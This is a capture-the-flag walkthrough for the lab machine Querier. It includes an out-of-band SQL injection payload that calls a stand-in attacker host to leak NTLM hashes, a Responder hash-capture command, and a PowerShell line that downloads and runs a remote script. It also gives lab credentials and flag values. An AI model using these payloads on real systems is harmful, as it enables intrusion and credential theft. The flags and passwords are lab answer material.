Querier – 10.10.10.125

Nmap scan:

Connecting with smb gives us the Report Share.

Looking through it, seems like user is Louis

Trying to get something out of the excel file in windows

We can see there is a macro in the file, but when looking for it seems not to be there.

In the tab Data we can “Get DATA” so lets try getting data from the SQL Database on the box.

Back on linux we extract the excel file to our local machine

When we cat the .bin file we get this output.. May be something

Pwd=PcwTWTHRwryjc$c6

Uid=reporting

Tool=impacket–>mssqlclient.py

Now try getting something out of the SQL shell

1 try

http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

e

Gives no return…

2 try

SQL Injection Cheat Sheet: MSSQL

We got an out of bound retieval

Command:

;declare @q varchar(200);set @q=’\attacker.controlledserver’+(SELECT SUBSTRING(@@version,1,9))+’.malicious.com/foo’; exec master.dbo.xp_dirtree @q; —

Before we do that we need to capture the request made, to do so setup responder:

Command:

Responder -I tun0

After we execute our OOB Retrieval we get our NTLMv2 hashes

[SMBv2] NTLMv2-SSP Client   : 10.10.10.125

[SMBv2] NTLMv2-SSP Username : \gX

[SMBv2] NTLMv2-SSP Hash     : gX:::faa89e56424a2d60::

Using those creds to login again to mssql:

Same shell with more permissions

Little command injection:

We found a script to make better use of the command injection

https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py

Adapt the script with our info:

Run script:

Python mssql_shell.py

Navigate to right dir

User.txt

C37b41bb669da345bb14de50faab3c16

ONTO ROOT:

Running the PowerUp.ps1 script through powershell:

powershell -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘http://10.10.14.14/PowerUp.ps1’);Invoke-AllChecks”

Administrator/MyUnclesAreMarioAndLuigi!!1! –> Let’s try

b19c3794f786a1fdcf205f81497c3592